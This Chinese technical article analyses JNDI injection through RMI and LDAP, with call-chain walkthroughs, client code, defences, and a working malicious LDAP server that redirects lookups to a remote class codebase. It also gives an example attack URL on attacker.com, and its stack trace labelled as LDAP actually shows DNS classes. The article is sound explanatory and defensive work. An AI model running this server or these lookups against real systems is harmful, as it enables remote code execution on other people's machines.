对于jndi为什么使用rmi和ldap协议的思考
字数 2111 2025-08-22 12:22:24
JNDI注入攻击原理与利用分析:RMI与LDAP协议详解
1. JNDI基础概念
JNDI (Java Naming and Directory Interface) 是Java提供的一套用于访问命名和目录服务的API,支持多种协议:
- LDAP (Lightweight Directory Access Protocol): 用于访问和管理分布式目录信息服务
- RMI (Remote Method Invocation): 用于在不同Java虚拟机之间调用方法
- DNS (Domain Name System): 用于解析域名
- CORBA (Common Object Request Broker Architecture): 用于在网络上进行对象请求
- HTTP (HyperText Transfer Protocol): 通过HTTP协议进行访问
- File Protocol: 访问文件系统
- NIS (Network Information Service): 用于访问网络信息服务(通常用于UNIX环境)
2. JNDI注入攻击原理
JNDI注入漏洞的核心在于攻击者可以控制JNDI查找的URL,从而让应用加载并执行恶意代码。
2.1 攻击流程
- 攻击者构造恶意的JNDI URL(如
rmi://attacker.com/Exploit) - 应用通过
InitialContext.lookup()方法访问该URL - JNDI客户端从攻击者控制的服务器加载恶意对象
- 恶意对象被反序列化并执行攻击代码
3. RMI协议分析
3.1 RMI攻击示例代码
package xieyi;
import javax.naming.Context;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.naming.spi.NamingManager;
import java.util.Hashtable;
public class rmi {
public static void main(String[] args) throws Exception {
String url = "rmi://localhost:6666/Object";
Hashtable<?,?> env = new Hashtable<>();
Reference ref = new Reference("com.example.xxx",
new StringRefAddr("URL", url));
Object obj = NamingManager.getObjectInstance(ref, null, null, env);
}
}
3.2 RMI协议调用链分析
-
初始调用栈:
getURLObject:611, NamingManager (javax.naming.spi) processURL:391, NamingManager (javax.naming.spi) processURLAddrs:371, NamingManager (javax.naming.spi) getObjectInstance:343, NamingManager (javax.naming.spi) main:17, rmi (xieyi) -
关键方法解析:
getURLObject方法会根据传入的URL寻找对应的工厂类- 工厂类名称构造方式:
"." + scheme + "." + scheme + "URLContextFactory" - 对于RMI协议,会寻找
rmi.rmiURLContextFactory
-
对象实例化过程:
- 进入
RegistryContext.lookup()方法 - 核心触发点在
decodeObject()方法 - 最终调用
NamingManager.getObjectInstance()加载远程对象
- 进入
-
远程代码加载逻辑:
String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null) { try { clas = helper.loadClass(factoryName, codebase); // 远程加载恶意类 if (clas == null || !ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)) { return null; } } catch (ClassNotFoundException e) {} }
3.3 RMI攻击限制
- 高版本JDK中默认设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 若远程代码库不可信,会抛出异常:
throw new ConfigurationException( "The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
4. LDAP协议分析
4.1 LDAP攻击示例代码
客户端代码:
package JNDI_LDAP;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class LDAP_Client {
public static void main(String[] args) throws NamingException {
String jndi_uri = "ldap://127.0.0.1:9999/Exp";
InitialContext initialContext = new InitialContext();
initialContext.lookup(jndi_uri);
}
}
服务端代码:
package JNDI_LDAP;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
int port = 0;
if (args.length < 1 || args[0].indexOf('#') < 0) {
System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]");
System.exit(-1);
} else if (args.length > 1) {
port = Integer.parseInt(args[1]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", InetAddress.getByName("0.0.0.0"), port,
ServerSocketFactory.getDefault(), SocketFactory.getDefault(),
(SSLSocketFactory)SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
} catch (Exception e) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor(URL cb) {
this.codebase = cb;
}
@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
} catch (Exception e1) {
e1.printStackTrace();
}
}
protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if (refPos > 0) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
4.2 LDAP协议调用链分析
-
初始调用栈:
lookup:170, PartialCompositeContext (com.sun.jndi.toolkit.ctx) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) getUsingURL:70, dnsURLContextFactory (com.sun.jndi.url.dns) getObjectInstance:55, dnsURLContextFactory (com.sun.jndi.url.dns) getURLObject:611, NamingManager (javax.naming.spi) processURL:391, NamingManager (javax.naming.spi) processURLAddrs:371, NamingManager (javax.naming.spi) getObjectInstance:343, NamingManager (javax.naming.spi) main:19, dns (xieyi) -
关键方法解析:
- 通过
getURLOrDefaultInitCtx获取URL上下文 - 调用
ldapURLContext.lookup方法 - 最终调用
DirectoryManager.getObjectInstance加载对象
- 通过
-
LDAP响应构造:
- 服务端构造包含恶意类引用的LDAP响应
- 关键属性设置:
e.addAttribute("javaClassName", "foo"); e.addAttribute("javaCodeBase", cbstring); // 恶意代码库地址 e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); // 恶意类名
5. 为什么选择RMI和LDAP协议
5.1 RMI和LDAP的优势
-
代码加载机制:
- RMI和LDAP协议支持通过
javaCodeBase属性指定远程代码库 - 能够触发远程类加载,这是攻击的核心
- RMI和LDAP协议支持通过
-
协议特性:
- RMI专为Java远程调用设计,天然支持Java对象传输
- LDAP支持引用(Reference)机制,可以指向外部资源
-
绕过限制:
- 在JDK高版本中,虽然RMI默认不信任远程代码库,但LDAP在某些版本中仍有利用可能
- 可以通过本地存在的恶意工厂类进行绕过
5.2 其他协议的限制
-
DNS协议:
- 仅能进行DNS解析,无法加载远程代码
- 调用链最终进入
PartialCompositeContext.lookup,没有恶意利用点
-
HTTP/FTP协议:
- 主要用于资源访问,不直接支持对象引用
- 无法直接触发远程代码加载
6. 防御措施
-
代码层面:
- 避免使用外部可控的JNDI查询参数
- 对JNDI查询参数进行严格过滤
-
环境配置:
- 设置
com.sun.jndi.rmi.object.trustURLCodebase=false - 设置
com.sun.jndi.ldap.object.trustURLCodebase=false
- 设置
-
JDK版本:
- 使用JDK 6u141、7u131、8u121及以上版本
- 这些版本默认限制了远程代码加载
-
运行时保护:
- 使用SecurityManager限制代码加载权限
- 监控异常的JNDI查询行为
7. 总结
JNDI注入攻击主要通过RMI和LDAP协议实现,原因在于:
- 这两种协议支持通过Reference引用远程代码
- 提供了完整的对象加载和执行机制
- 在特定环境下可以绕过安全限制
- 其他协议要么不支持代码加载,要么调用链中缺少利用点
理解JNDI注入的原理和不同协议的实现差异,有助于更好地防御此类攻击。在实际开发中,应当避免使用外部可控的JNDI查询,并及时更新JDK版本以获取最新的安全防护。